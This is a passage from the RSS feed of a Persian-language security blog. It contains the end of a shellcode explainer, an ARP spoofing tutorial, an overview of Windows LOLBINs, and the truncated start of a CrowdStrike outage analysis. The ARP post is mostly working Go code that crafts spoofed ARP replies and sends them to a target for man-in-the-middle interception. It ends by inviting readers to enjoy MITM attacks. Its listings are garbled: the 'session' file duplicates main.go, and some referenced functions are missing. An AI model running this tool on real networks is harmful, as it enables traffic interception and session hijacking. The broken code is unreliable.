آسیب‌پذیری‌ها برای اجرای کد دلخواه و دستیابی به کنترل ممتاز بر محیط هدف استفاده می‌کند.تولید Shellcodeکد پوسته یا Shellcode معمولاً از طریق مراحل زیر تولید می‌شود:کدگذاری زبان اسمبلی: Shellcode به زبان اسمبلی سطح پایین با استفاده از ابزارهایی مانند NASM (Netwide Assembler) یا FASM (Flat Assembler) نوشته می‌شود. زبان اسمبلی کنترل مستقیمی بر دستورالعمل‌های پردازنده و فراخوانی‌های سیستمی لازم برای دستیابی به وظایف خاص را فراهم می‌کند.رمزگذاری و اجتناب از Null-Byte(Encoding and Null-Byte Avoidance): Shellcode ممکن است برای جلوگیری از بایت‌های تهی (0x00) تحت کدگذاری قرار گیرد که می‌تواند عملیات رشته را پیش از موعد خاتمه دهد. برای دور زدن محدودیت‌های بایت تهی از تکنیک‌هایی مانند کد پوسته الفبایی یا رمزگذاری بایت (مثلاً رمزگذاری XOR) استفاده می‌شود.تست و بهینه‌سازی(Testing and Optimization): پس از نوشته شدن، کد پوسته ازنظر صحت آزمایش می‌شود و ازنظر اندازه و کارایی بهینه می‌شود. تست دستی و اشکال‌زدایی برای اطمینان از اینکه کد پوسته همان‌طور که در نظر گرفته‌شده بدون ایجاد رفتار ناخواسته عمل می‌کند بسیار مهم است.اجرا و استفاده از Shellcodeکد پوسته یا Shellcode از طریق روش‌های مختلفی اجرا می‌شود، ازجمله:تزریق کد(Code Injection): Shellcode به فضای حافظه یک فرآیند آسیب‌پذیر تزریق می‌شود، اغلب از طریق سرریز بافر یا سایر تکنیک‌های بهره‌برداری. پس از تزریق، کد پوسته با منحرف کردن جریان اجرای برنامه به کد تزریق شده اجرا می‌شود.تولید بار(Payload Generation): Shellcode درون بارهای بهره‌برداری که توسط ابزارهای تست نفوذ یا چارچوب‌های بدافزار تولید می‌شوند، تعبیه‌شده است. محموله از طریق بردارهای مختلف (به‌عنوان مثال، بهره‌برداری‌های شبکه، اسناد مخرب) به سیستم هدف تحویل داده می‌شود و پس از بهره‌برداری موفقیت‌آمیز اجرا می‌شود.دلایل استفاده از Shellcodeاستفاده از کد پوسته اهداف مختلفی را در حوزه امنیت سایبری و توسعه نرم‌افزار انجام می‌دهد:آزمایش بهره‌برداری و نفوذ: محققان امنیتی و آزمایش کننده‌های نفوذ از کد پوسته برای نشان دادن آسیب‌پذیری‌ها، تست دفاعی و ارزیابی وضعیت امنیتی سیستم‌ها و برنامه‌ها استفاده می‌کنند.توسعه بدافزار: عوامل مخرب از کد پوسته برای توسعه و استقرار بدافزار برای دسترسی غیرمجاز، استخراج داده‌ها و سایر فعالیت‌های شرور استفاده می‌کنند.مهندسی معکوس و تجزیه‌وتحلیل: تحلیلگران امنیتی از کد پوسته برای تجزیه‌وتحلیل مهندسی معکوس و بدافزار برای درک تکنیک‌های حمله، شناسایی شاخص‌های سازش (IOC) و توسعه اقدامات دفاعی استفاده می‌کنند.نتیجهدرنتیجه، کد پوسته یک جزء اساسی توسعه اکسپلویت و امنیت سایبری است که مهاجمان و مدافعان را به‌طور یکسان قادر می‌سازد تا سیستم‌ها و برنامه‌ها را ارزیابی، بهره‌برداری و محافظت کنند. درک ویژگی‌ها، فرآیند تولید، روش‌های اجرا و کاربردهای پوسته کد برای متخصصان امنیتی، توسعه‌دهندگان و محققان درگیر در امنیت سایبری و توسعه نرم‌افزار ضروری است. با به دست آوردن بینشی در مورد عملکرد و پیامدهای درونی shellcode، افراد می‌توانند بهتر در برابر تهدیدات و سیستم‌های ایمن در برابر بهره‌برداری در یک‌ چشم¬انداز دیجیتالی که به‌طور فزاینده‌ای به هم پیوسته دفاع کنند.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Wed, 22 Jan 2025 10:44:18 +0330</pubDate>
            </item>
                    <item>
                <title>حمله ARP Spoofing چیست؟</title>
                <link>https://virgool.io/@LoopLunatic/%D8%AD%D9%85%D9%84%D9%87-arp-spoofing-%DA%86%DB%8C%D8%B3%D8%AA-yfzhqjrfxosm</link>
                <description>پروتکل ARP توسط کامپیوترها به‌صورت  روزانه یا حتی به‌صورت جزئی استفاده می‌شود. این یک پروتکل بی‌اهمیت  است تا رایانه‌ها  از آدرس سخت‌افزاری که آدرس MAC نیز نامیده می‌شود، که به آدرس IP مرتبط است، آگاه باشند 192.168.13.37.این پروتکل، مانند بسیاری دیگر، مستعد حملات جعل است و این چیزی است که در زیر توضیح خواهم داد.پروتکل ARPپروتکل Address Resolution Protocol یک پروتکل ارتباطی است که برای کشف آدرس لایه پیوند، مانند یک آدرس سخت‌افزاری، مرتبط با یک آدرس لایه اینترنت معین، معمولاً یک آدرس IPv4 استفاده می‌شود. این نگاشت یک تابع حیاتی در مجموعه پروتکل اینترنت است.این تعریف به طور مستقیم به اصل مطلب می‌رود، اما من می‌خواهم پروتکل ARP را به روشی گرافیکی‌تر از متن نشان دهم.پروتکل ARP پروتکلی است که مطمئن می شود با توجه به آدرس IPv4 ، آدرس سخت افزاری مربوطه دستگاه را دریافت خواهید کرد . این بسیار مهم است زیرا سخت‌افزار  اترنت با آدرس های سخت افزاری ارتباط برقرار می‌کند نه آدرس های IP.سناریوی نمونهبنابراین فرض کنید چهار جزء داریم:مشتری ، با نام مستعار دستگاه Aروتردستگاه B با آدرس IP192.168.13.37دستگاه C با آدرس IP192.168.13.66من، مشتری و دستگاه A ، می‌خواهم داده‌ها را به دستگاه B ارسال کنم ، اگرچه فقط آدرس IPv4 آن را می‌دانم. بنابراین اکنون که به آدرس سخت‌افزاری  آن نیاز دارم، یک بسته درخواست ARP را در شبکه پخش می‌کنم تا آدرس سخت‌افزاری دستگاه B را دریافت کنم .دستگاه B تشخیص می‌دهد که من آدرس سخت‌افزاری آن را بر اساس آدرس IPv4 آن درخواست می‌کنم، بنابراین یک بسته ARP Reply را با آدرس سخت‌افزاری خود در داخل برای من ارسال می‌کند.هنگامی‌که آدرس سخت‌افزار دستگاه را داشته باشم، برای استفاده در آینده در جدول ARP شخصی من ذخیره می‌شود. جدول ARP را می‌توان در ترمینال با دستورات زیر مشاهده کرد:arp -aبوییدن با Wiresharkوقتی بسته‌ها را فیلتر می‌کنید، تمام سناریوهای توصیف‌شده در بالا به‌راحتی در Wireshark قابل‌مشاهده هستند:دربسته‌های بالا قطعاً می‌توانیم ببینیم که دستگاه هواوی به آدرس سخت‌افزاری سه آدرس IPv4 نیاز دارد.حال اگر آدرس IPv4 در شبکه وجود داشته باشد، دستگاه موردنظر با یک بسته ARP Reply پاسخ خواهد داد . این را می‌توان در Wireshark نیز مشاهده کرد:در اینجا آدرس سخت‌افزاری دستگاه اپل به دستگاه هواوی ارسال می‌شود و در جدول ARP آن برای کش ذخیره می‌شود.جعل ARPاکنون که دانش زمینی پروتکل ARP شناخته شده است، شاید جالب باشد که در نهایت بفهمیم که ARP Spoofing واقعا چیست.توضیحتعریف حمله جعل عبارت است از:درزمینهٔ امنیت اطلاعات و به‌ویژه امنیت شبکه، حمله جعل وضعیتی است که در آن شخص یا برنامه‌ای با جعل داده‌ها با موفقیت به‌عنوان دیگری شناسایی می‌شود تا مزیتی نامشروع به دست آورد.بنابراین این قبلاً اطلاعات زیادی ازآنچه ARP Spoofing واقعاً چیست به دست می‌دهد. با انجام یک حمله ARP Spoofing با جعل داده‌ها به‌عنوان دستگاه دیگری شناسایی می‌شویم . برخی از افراد ممکن است از قبل بدانند که چگونه این امر ممکن است. مدتی به‌تنهایی به آن فکر کنید و سپس به خواندن ادامه دهید.اگر به بسته ARP Reply فکر کرده‌اید ، کاملاً درست می‌گویید! این نسبتاً ساده است. بازگشت به استفاده مشروع از سناریوی پروتکل ARP در بالا. ما به‌عنوان مهاجم به‌سادگی بسته‌های ARP Reply را اسپم می‌کنیم و می‌گوییم که ما دستگاهی هستیم که دارای IPv4 192.168.13.37، دستگاه با IPv4 192.168.13.66و غیره است. درنهایت می‌توانیم هر دستگاهی از شبکه باشیم و دستگاه‌های دیگر را فریب دهیم تا بسته‌های آن‌ها را ارسال کنند. به‌جای دستگاه مشروع به ما. به این حمله Man-in-the-Middle می‌گویند.شایان ذکر است که در طول حمله ARP Spoofing، ممکن است دستگاه حتی بسته‌های درخواست ARP را ارسال نکند ، مهاجم فقط به ارسال هرزنامه ادامه می‌دهد.عواقببرخی از پیامدهای اصلی جعل ARP عبارتند از:Session Hijacking : بسته‌های مربوطه برای مهاجم ارسال می‌شود.Man-in-the-Middle : علت عواقب Session Hijacking ، زیرا بسته‌ها برای مهاجم ارسال می‌شوند.DDoS : مهاجم می‌تواند بسته‌های ARP Reply را اسپم کند که نشان می‌دهد آدرس سخت‌افزاری تمام آدرس‌های IPv4 شبکه است 13:de:ad:be:ef:37که منجر به ارسال همه بسته‌ها به یک هدف می‌شود.کد مثال برای جعل ARPقبل از پایان دادن به این موضوع، ممکن است جالب باشد که ببینید چگونه خودتان یک حمله ARP Spoofing را انجام دهید و خودتان را آموزش دهید. البته ما می‌توانستیم ابزاری مانند اسکریپت متوسط بچه را دانلود کنیم، اما این بسیار خسته‌کننده است...هشدارتوجه داشته باشید که بسته به کاری که ممکن است با ARP Spoofing انجام دهید، ممکن است غیرقانونی باشد - به شما هشدار داده‌شده است.من کلاه‌بردار کوچک ARP خود را در Go کد نویسی کرده‌ام زیرا عاشق این زبان هستم، اگرچه به‌خوبی می‌توان آن را به زبان‌های دیگر، به‌عنوان‌مثال پایتون با Scapy، کدگذاری کرد .بیا شروع کنیم!ساختار جلسهمن Sessionساختاری در یک session.goفایل برای ذخیره اطلاعات مرتبط ایجاد کرده ام که بعداً مورد استفاده قرار می گیرد:package main
import (
	  &amp;quotgithub.com/google/gopacket/pcap&amp;quot
	  &amp;quotnet&amp;quot
	  &amp;quotstrings&amp;quot
	  &amp;quottime&amp;quot
)
 
// Obviously these are not accurate &amp; fictive addresses
const (
	  TargetIP  = &amp;quot192.168.13.37&amp;quot
	  TargetMAC = &amp;quot13:de:ad:be:ef:37&amp;quot

	  Timeout            = 5 * time.Second
	  TotalPacketsToSend = 15
)
 func main() {
	  // Create a new session
	  s := NewSession()
	  // Get the interface
	  ifaces, err := net.Interfaces()
	  if err != nil {
		  s.logger.Fatal(&amp;quotFailed to retrieve interfaces: &amp;quot + err.Error())
		  return
	  }
	  for _, iface := range ifaces {
		  if iface.HardwareAddr == nil {
		  	continue
		  }
		  addrs, err := iface.Addrs()
		  if err != nil {
			  s.logger.Fatal(&amp;quotFailed to retrieve the addresses of the interface: &amp;quot + err.Error())
		  }
		  for _, addr := range addrs {
			  if strings.Split(addr.String(), &amp;quot/&amp;quot)[0] == s.ip.String() {
				  // Set the current interface &amp; MAC address
				  s.iface = iface
				  s.mac = iface.HardwareAddr
				  break
			  }
		  }
	  }
	  // Get the device to listen to
	  devices, err := pcap.FindAllDevs()
	  if err != nil {
		  s.logger.Fatal(&amp;quotFailed to retrieve devices: &amp;quot + err.Error())
		  return
	  }
	  for _, device := range devices {
		  for _, address := range device.Addresses {
			  if address.IP.To4().String() == s.ip.String() {
				  s.device = device
				  break
			  }
		  }
	  }

	  // Open the device and be prepared to send the spoofed packets
	  handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever)
	  if err != nil {
		  s.logger.Fatal(&amp;quotFailed to open device: &amp;quot + err.Error())
		  return
	  }

	  // Prepare the ARP reply packet
	  src := NewAddress(s.ip, s.mac)
	  mac, _ := net.ParseMAC(TargetMAC)
	  dst := NewAddress(net.ParseIP(TargetIP), mac)
	  arpReply, _ := NewARPReplyPacket(src, dst)

	  s.logger.Info(&amp;quotSending spoofed ARP replies to &amp;quot + dst.GetIP().String() + &amp;quot with MAC &amp;quot + dst.GetMAC().String() + &amp;quot every &amp;quot + Timeout.String())

	  // Send the packets
	  for i := 0; i &lt; TotalPacketsToSend; i++ {
		  err = handler.WritePacketData(arpReply)
		  if err != nil {
			  s.logger.Error(&amp;quotFailed to send packet: &amp;quot + err.Error())
		  }
		  time.Sleep(Timeout)
	  }
}این getOutboundIPتابع آدرس IP در حال استفاده را حل می کند، در صورت تمایل می توانید آن را سخت کد کنید.ساخت بسته های پاسخ ARPبرای ایجاد بسته‌های ARP Reply سفارشی، ابتدا باید یک لایه اترنت ایجاد کنیم که حاوی آدرس‌های سخت‌افزار مبدا و مقصد باشد. لایه دومی که به آن نیاز داریم بدیهی است لایه ARP است، در اینجا هم آدرس IPv4 مبدا و مقصد و هم آدرس سخت افزار مقصد را ارائه می دهیم. سپس باید لایه ها را سریال کنیم تا مطمئن شویم که درست هستند، اگر درست هستند، می توانیم بافر را برگردانیم، همه اینها در فایل انجام شده است arp.go:package main

import (
    &amp;quotgithub.com/google/gopacket&amp;quot
    &amp;quotgithub.com/google/gopacket/layers&amp;quot
    &amp;quotnet&amp;quot
)

type Address struct {
    ip  net.IP
    mac net.HardwareAddr
}
 
func NewAddress(ip net.IP, mac net.HardwareAddr) *Address {
    return &amp;Address{
      ip:  ip,
      mac: mac,
    }
}
 
func (a *Address) GetIP() net.IP {
	  return a.ip
}

func (a *Address) GetMAC() net.HardwareAddr {
	  return a.mac
}

var Options = gopacket.SerializeOptions{
	  FixLengths:       true,
	  ComputeChecksums: true,
}

func NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) {
	  ethLayer := layers.Ethernet{
		  SrcMAC:       src.mac,
		  DstMAC:       dst.mac,
		  EthernetType: layers.EthernetTypeARP,
	  }
	  arpLayer := layers.ARP{
		  AddrType:          layers.LinkTypeEthernet,
		  Protocol:          layers.EthernetTypeIPv4,
		  HwAddressSize:     6,
		  ProtAddressSize:   4,
		  Operation:         layers.ARPReply,
		  SourceHwAddress:   src.mac,
		  SourceProtAddress: src.ip.To4(),
		  DstHwAddress:      dst.mac,
		  DstProtAddress:    dst.ip.To4(),
	  }

	  buffer := gopacket.NewSerializeBuffer()
	  if err := gopacket.SerializeLayers(buffer, Options, ðLayer, &amp;arpLayer); err != nil {
		  return nil, err
	  }
	  return buffer.Bytes(), nil
}اطلاعاتمنبع اینجا ما، مهاجم، با IPv4 معمولی و آدرس سخت‌افزاری خود هستیم . و مقصد دستگاهی است که ما می‌خواهیم باشیم ، بنابراین دستگاه هدف ما با نام قربانی .ارسال بسته هامرحله آخر فقط در مورد ارسال بسته‌های دستکاری‌شده در یک حلقه است. اما ابتدا باید رابط کاربری را که می‌خواهیم این‌ها را روی آن ارسال کنیم و همچنین دستگاه را بشناسیم. من چند کد کوچک اضافه کرده‌ام تا ابتدا با مقایسه IP خروجی با IP هر رابط روی دستگاه، رابط را پیدا کنم، پس‌ازاینکه با رابط موردنیاز ما مطابقت داشت.دانستن نام دستگاهی که بسته‌ها را از طریق آن ارسال می‌کنید همان بازی است، روی همه دستگاه‌ها حلقه می‌زنیم، روی تمام آدرس‌های آن حلقه می‌زنیم IPv4 را بررسی کنید. سپس دستگاه را باز می‌کنیم و سعی می‌کنیم بسته‌های جعلی را ارسال کنیم، همه این‌ها در فایل انجام‌شده است main.go:package main
import (
	  &amp;quotgithub.com/google/gopacket/pcap&amp;quot
	  &amp;quotnet&amp;quot
	  &amp;quotstrings&amp;quot
	  &amp;quottime&amp;quot
)
// Obviously these are not accurate &amp; fictive addresses
const (
	  TargetIP  = &amp;quot192.168.13.37&amp;quot
	  TargetMAC = &amp;quot13:de:ad:be:ef:37&amp;quot
	  Timeout            = 5 * time.Second
	  TotalPacketsToSend = 15
)
 
func main() {
	  // Create a new session
	  s := NewSession()
	  // Get the interface
	  ifaces, err := net.Interfaces()
	  if err != nil {
		  s.logger.Fatal(&amp;quotFailed to retrieve interfaces: &amp;quot + err.Error())
		  return
	  }
	  for _, iface := range ifaces {
		  if iface.HardwareAddr == nil {
		  	continue
		  }
		  addrs, err := iface.Addrs()
		  if err != nil {
			  s.logger.Fatal(&amp;quotFailed to retrieve the addresses of the interface: &amp;quot + err.Error())
		  }
		  for _, addr := range addrs {
			  if strings.Split(addr.String(), &amp;quot/&amp;quot)[0] == s.ip.String() {
				  // Set the current interface &amp; MAC address
				  s.iface = iface
				  s.mac = iface.HardwareAddr
				  break
			  }
		  }
	  }

	  // Get the device to listen to
	  devices, err := pcap.FindAllDevs()
	  if err != nil {
		  s.logger.Fatal(&amp;quotFailed to retrieve devices: &amp;quot + err.Error())
		  return
	  }
	  for _, device := range devices {
		  for _, address := range device.Addresses {
			  if address.IP.To4().String() == s.ip.String() {
				  s.device = device
				  break
			  }
		  }
	  }
	  // Open the device and be prepared to send the spoofed packets
	  handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever)
	  if err != nil {
		  s.logger.Fatal(&amp;quotFailed to open device: &amp;quot + err.Error())
		  return
	  }

	  // Prepare the ARP reply packet
	  src := NewAddress(s.ip, s.mac)
	  mac, _ := net.ParseMAC(TargetMAC)
	  dst := NewAddress(net.ParseIP(TargetIP), mac)
	  arpReply, _ := NewARPReplyPacket(src, dst)

	  s.logger.Info(&amp;quotSending spoofed ARP replies to &amp;quot + dst.GetIP().String() + &amp;quot with MAC &amp;quot + dst.GetMAC().String() + &amp;quot every &amp;quot + Timeout.String())

	  // Send the packets
	  for i := 0; i &lt; TotalPacketsToSend; i++ {
		  err = handler.WritePacketData(arpReply)
		  if err != nil {
			  s.logger.Error(&amp;quotFailed to send packet: &amp;quot + err.Error())
		  }
		  time.Sleep(Timeout)
	  }
}هنگام اجرای ابزار کوچک، به وضوح می‌توانیم حمله ARP Spoofing را هنگام باز کردن Wireshark مشاهده کنیم:نتیجهجعل ARP بسته به سناریو می‌تواند منجر به عواقب جدی شود، اگرچه پروتکل ARP استفاده قانونی نیز دارد، بنابراین نمی‌توانید کل پروتکل ARP را مسدود کنید. برخی از اقدامات کاهشی در برابر حملات ARP Spoofing وجود دارد که من به‌طور خلاصه آن‌ها را نمی‌دانم، اما به‌راحتی می‌توان آن‌ها را هنگام جستجو در گوگل به‌تنهایی پیدا کرد. درعین‌حال، از انجام برخی از حملات MITM لذت ببرید.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sat, 07 Sep 2024 13:31:05 +0330</pubDate>
            </item>
                    <item>
                <title>کشف LOLBIN ها: ابزارهای مخفی پنهان در دید ساده</title>
                <link>https://virgool.io/@LoopLunatic/%DA%A9%D8%B4%D9%81-lolbin-%D9%87%D8%A7-%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1%D9%87%D8%A7%DB%8C-%D9%85%D8%AE%D9%81%DB%8C-%D9%BE%D9%86%D9%87%D8%A7%D9%86-%D8%AF%D8%B1-%D8%AF%DB%8C%D8%AF-%D8%B3%D8%A7%D8%AF%D9%87-st7hseb6jaqs</link>
                <description>در دنیای همیشه در حال تکامل امنیت سایبری، مهاجمان دائماً در حال ابداع راه‌های جدید و مبتکرانه برای نفوذ به سیستم‌ها و به خطر انداختن داده‌ها هستند. یکی از تکنیک‌هایی که در بین مجرمان سایبری شهرت پیدا می‌کند، استفاده از Living Off the Land Binaries (LOLBIN) است. این فایل‌ها و ابزارهای سیستمی به ظاهر بی‌ضرر، بومی سیستم عامل ویندوز، به ابزارهای قدرتمندی برای مهاجمان تبدیل شده‌اند. در این مقاله به این موضوع می پردازیم که LOLBIN ها چیست و هدف آنها چیست و برخی از معروف ترین آنها را معرفی می کنیم.درک LOLBINابزارهای LOLBIN ها چه هستند؟ابزارهای Living Off the Land Binaries که اغلب به اختصار LOLBIN نامیده می شود، به باینری های سیستم قانونی و ابزارهایی اشاره دارد که توسط مهاجمان برای انجام فعالیت های مخرب روی یک سیستم در معرض خطر استفاده می شود. این فایل‌ها معمولاً در هر دستگاه ویندوز یافت می‌شوند و عملکردهای قانونی آن‌ها را برای فرار از شناسایی توسط نرم‌افزارهای امنیتی ایده‌آل می‌سازد.هدف از LOLBIN هاهدف اصلی LOLBIN ها ترکیب شدن با عملکرد عادی یک سیستم است که تمایز بین فعالیت های مشروع و مخرب را برای ابزارهای امنیتی دشوار می کند. مهاجمان از این باینری ها برای اجرای دستورات، اجرای اسکریپت ها و انجام اقدامات مخرب مختلف استفاده می کنند، در حالی که به نظر می رسد فقط از ابزارهای استاندارد و داخلی استفاده می کنند.چرا LOLBIN ها برای مهاجمان جذاب هستند؟چندین عامل LOLBIN ها را به انتخابی جذاب برای مجرمان سایبری تبدیل می کند:ابزارهای Evasion: LOLBIN ها به مهاجمان اجازه می دهند تا با اجتناب از نیاز به معرفی فایل ها یا نرم افزارهای مخرب به سیستم قربانی، مخفیانه عمل کنند. از آنجایی که این باینری ها بخشی از سیستم عامل قانونی هستند، احتمال کمتری وجود دارد که مشکوک شوند.قابلیت اطمینان: LOLBIN ها بسیار قابل اعتماد هستند، زیرا بخشی از خود سیستم عامل هستند. مهاجمان می توانند روی وجود و کارکرد این ابزارها در اکثر سیستم های ویندوز حساب کنند.دور زدن امنیت: راه‌حل‌های امنیتی اغلب این باینری‌های سیستم قابل اعتماد را نادیده می‌گیرند یا حذف می‌کنند و به مهاجمان این امکان را می‌دهند که بدون ایجاد آلارم یا هشدار از آنها استفاده کنند.کاهش ردپا: LOLBIN ها نیازی به دانلود یا نصب فایل های اضافی ندارند، که ردپای دیجیتالی حمله را کاهش می دهد و تحقیقات پزشکی قانونی را چالش برانگیزتر می کند.اکنون که متوجه شدیم LOLBIN چیست و چرا مهاجمان از آنها حمایت می کنند، بیایید برخی از معروف ترین LOLBIN هایی را که در حملات سایبری به کار رفته اند را بررسی کنیم.ابزارهای LOLBIN معروف در چشم انداز امنیت سایبرینرم افزار Powershell: در حالی که خود یک باینری نیست، Powershell یک زبان برنامه نویسی قدرتمند است که در سیستم های ویندوز ساخته شده است. مهاجمان معمولاً از آن برای اجرای اسکریپت ها و دستورات استفاده می کنند، اغلب بارهای مخرب را از اینترنت دانلود می کنند یا حملاتی را انجام می دهند.نرم افزار Regsvr32.exe: Regsvr32.exe یک باینری قانونی ویندوز است که برای ثبت و لغو ثبت فایل های DLL استفاده می شود. با این حال، می‌توان از آن برای دانلود و اجرای بارهای مخرب از سرورهای راه دور نیز استفاده کرد که آن را در بین مهاجمان برای حملات بدون فایل مورد علاقه قرار می‌دهد.نرم افزارهای Cscript و Wscript: این دو باینری برای اجرای اسکریپت های Windows Script Host استفاده می شود. آنها را می توان برای اجرای کدهای مخرب جاوا اسکریپت یا VBScript، اغلب بدون دست زدن به دیسک، به کار برد که تشخیص آنها را دشوار می کند.نرم افزار Mshta.exe: Microsoft HTML Application Host (mshta.exe) برای اجرای برنامه های HTML (فایل های hta) استفاده می شود. مهاجمان می توانند از آن برای اجرای اسکریپت های مخرب یا بارگیری بارهای مخرب از اینترنت در حالی که خوش خیم به نظر می رسند استفاده کنند.نرم افزارRundll32.exe: Rundll32.exe یک ابزار قانونی ویندوز است که برای اجرای توابع در کتابخانه های پیوند پویا (DLL) استفاده می شود. مهاجمان می توانند از آن برای اجرای کدهای مخرب موجود در DLL استفاده کنند، اغلب بدون ایجاد فرآیند جدید.نرم افزار Certutil.exe: Certutil یک ابزار ویندوزی است که برای مدیریت گواهی ها استفاده می شود. همچنین می تواند محتوای رمزگذاری شده با Base64 را رمزگشایی کند، که مهاجمان از آن برای دانلود و اجرای بارهای مخرب پنهان شده در فایل های رمزگذاری شده استفاده می کنند.نرم افزار At.exe: Windows Task Scheduler (at.exe) می‌تواند برای برنامه‌ریزی کارهای مخرب و اجرای دستورات در زمان‌ها یا فواصل زمانی خاص مورد سوء استفاده قرار گیرد، و به مهاجمان اجازه می‌دهد تا پایداری خود را در یک سیستم در معرض خطر حفظ کنند.شناسایی و کاهش حملات LOLBINتشخیص استفاده از LOLBIN می تواند چالش برانگیز باشد، زیرا این ابزارها برای ترکیب با محیط قانونی سیستم در نظر گرفته شده اند. با این حال، سازمان ها می توانند چندین استراتژی را برای ارتقای وضعیت امنیتی خود پیاده سازی کنند:تجزیه و تحلیل مبتنی بر رفتار: راه حل های امنیتی باید به جای تکیه بر تشخیص مبتنی بر امضا، بر تشخیص رفتار غیرعادی یا مشکوک تمرکز کنند. فعالیت غیرعادی توسط باینری های شناخته شده می تواند نشانه ای از حمله LOLBIN باشد.لیست برنامه های سفید : اجرای لیست سفید برنامه ها می تواند به محدود کردن اجرای باینری ها به منابع قابل اعتماد کمک کند و از اجرای کدهای مخرب توسط مهاجمان جلوگیری کند.نظارت کاربر و نقطه پایانی: به طور مداوم بر فعالیت های کاربر و نقطه پایانی برای رفتار غیرعادی نظارت کنید. تجزیه و تحلیل رفتاری و تجزیه و تحلیل رفتار کاربر می تواند به شناسایی الگوهای فعالیت مشکوک کمک کند.وصله منظم: به روز نگه داشتن سیستم ها با آخرین وصله های امنیتی می تواند برخی از حملات LOLBIN را کاهش دهد، زیرا مهاجمان اغلب از آسیب پذیری ها برای دستیابی به دسترسی سوء استفاده می کنند.آموزش آگاهی از امنیت: آموزش کارمندان و کاربران در مورد خطرات مرتبط با LOLBIN ها و تاکتیک های مهندسی اجتماعی می تواند به جلوگیری از موفقیت حملات کمک کند.تقسیم‌بندی شبکه: سیستم‌های حیاتی را از سیستم‌های کمتر بحرانی جدا کنید تا در صورت رخنه، گسترش حمله را محدود کنید.نتیجهنرم افزارهای Living Off the Land Binaries (LOLBIN) به دلیل توانایی آنها برای کار مخفیانه در سیستم عامل ویندوز به ابزاری برای مجرمان سایبری تبدیل شده است. این باینری ها و ابزارهای سیستم به ظاهر خوش خیم برای انجام فعالیت های مخرب در حالی که از شناسایی فرار می کنند استفاده می شود. با ادامه تکامل حملات سایبری، سازمان ها باید هوشیار بمانند، اقدامات امنیتی قوی را اجرا کنند و از تکنیک های تشخیص پیشرفته برای محافظت از سیستم های خود در برابر حملات مبتنی بر LOLBIN استفاده کنند. آگاهی از وجود و تهدیدات احتمالی ناشی از LOLBIN ها اولین گام برای دفاع در برابر این دشمنان پنهانکار در دنیای امنیت سایبری است.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sat, 24 Aug 2024 11:45:06 +0330</pubDate>
            </item>
                    <item>
                <title>حادثه CrowdStrike: تحلیل جامع بزرگ‌ترین اختلال فناوری اطلاعات در تاریخ</title>
                <link>https://virgool.io/@LoopLunatic/%D8%AD%D8%A7%D8%AF%D8%AB%D9%87-crowdstrike-%D8%AA%D8%AD%D9%84%DB%8C%D9%84-%D8%AC%D8%A7%D9%85%D8%B9-%D8%A8%D8%B2%D8%B1%DA%AF-%D8%AA%D8%B1%DB%8C%D9%86-%D8%A7%D8%AE%D8%AA%D9%84%D8%A7%D9%84-%D9%81%D9%86%D8%A7%D9%88%D8%B1%DB%8C-%D8%A7%D8%B7%D9%84%D8%A7%D8%B9%D8%A7%D8%AA-%D8%AF%D8%B1-%D8%AA%D8%A7%D8%B1%DB%8C%D8%AE-sjh8t5eqi9jx</link>
                <description>حادثه CrowdStrike که در 19 جولای 2024 رخ داد، یکی از بزرگ‌ترین اختلالات فناوری اطلاعات در تاریخ بود. این رویداد که توسط یک به‌روزرسانی نرم‌افزاری معیوب ایجاد شد، باعث هرج‌ومرج گسترده‌ای شد و میلیون‌ها سیستم را در سراسر جهان تحت تأثیر قرارداد. در این مقاله، جزئیات آنچه اتفاق افتاد، دلایل وقوع آن، میزان تأثیر و راه‌حل‌های پیشنهادی برای جلوگیری از وقوع مجدد چنین حوادثی را بررسی خواهیم کرد. چه اتفاقی افتاد؟در 19 جولای 2024، حدود ساعت 04:09 UTC، CrowdStrike، یک شرکت پیشرو درزمینهٔ امنیت سایبری، یک به‌روزرسانی پیکربندی برای نرم‌افزار امنیتی Falcon خود منتشر کرد. این به‌روزرسانی که برای بهبود قابلیت‌های نرم‌افزار طراحی‌شده بود، به‌طور ناخواسته باعث یک خرابی فاجعه‌بار شد. این به‌روزرسانی باعث شد که کامپیوترهای ویندوزی تحت تأثیر، وارد حالت بوت لوپ یا حالت بازیابی بوت شوند و غیرقابل استفاده شوند.این مشکل ابتدا در ماشین‌های مجازی در حال اجرا بر روی Microsoft Azure و Google Compute Engine مشاهده شد. این پلتفرم‌ها تقریباً بلافاصله پس از انتشار به‌روزرسانی، گزارش‌هایی از خرابی‌ها و راه‌اندازی مجدد گسترده دریافت کردند. مشکل محدود به این محیط‌ها نبود؛ به‌سرعت به ماشین‌های فیزیکی و سایر پلتفرم‌های ابری نیز گسترش یافت و صنایع و خدمات مختلفی را تحت تأثیر قرارداد. جزئیات فنی حادثهعلت اصلی حادثه یک نقص در Falcon Sensor بود که یک جزء حیاتی از مجموعه امنیتی CrowdStrike است. Falcon Sensor در سطح کرنل سیستم‌عامل عمل می‌کند و ادغام عمیقی با سیستم دارد و حفاظت جامعی در برابر تهدیدات ارائه می‌دهد. با این حال، این ادغام عمیق نیز به این معنی است که هرگونه مشکل در Sensor می‌تواند عواقب جدی داشته باشد.به‌روزرسانی معیوب یک خطای پیکربندی را معرفی کرد که باعث شد Falcon Sensor برخی از حالت‌های سیستم را به‌عنوان تهدید تفسیر کند. این تفسیر نادرست باعث شد که سنسور یک سری اقدامات را آغاز کند که درنهایت باعث خرابی سیستم شد. به‌طور خاص، سنسور یک سری رویدادها را تحریک کرد که منجر به ورود سیستم‌عامل به حالت بوت لوپ یا حالت بازیابی بوت شد.سیستم‌های تحت تأثیر عمدتاً شامل سیستم‌های ویندوز 10 و ویندوز 11 بودند، اگرچه برخی از سیستم‌های ویندوز 7 و ویندوز 8 نیز تحت تأثیر قرار گرفتند. به‌طور قابل‌توجهی، سیستم‌های در حال اجرای macOS و Linux تحت تأثیر قرار نگرفتند، زیرا به‌روزرسانی پیکربندی Falcon Sensor مخصوص محیط‌های ویندوزی بود. دامنه تأثیرمقیاس تأثیر بی‌سابقه بود. حدود 8.5 میلیون کامپیوتر در سراسر جهان تحت تأثیر به‌روزرسانی معیوب قرار گرفتند. این حادثه خدمات حیاتی 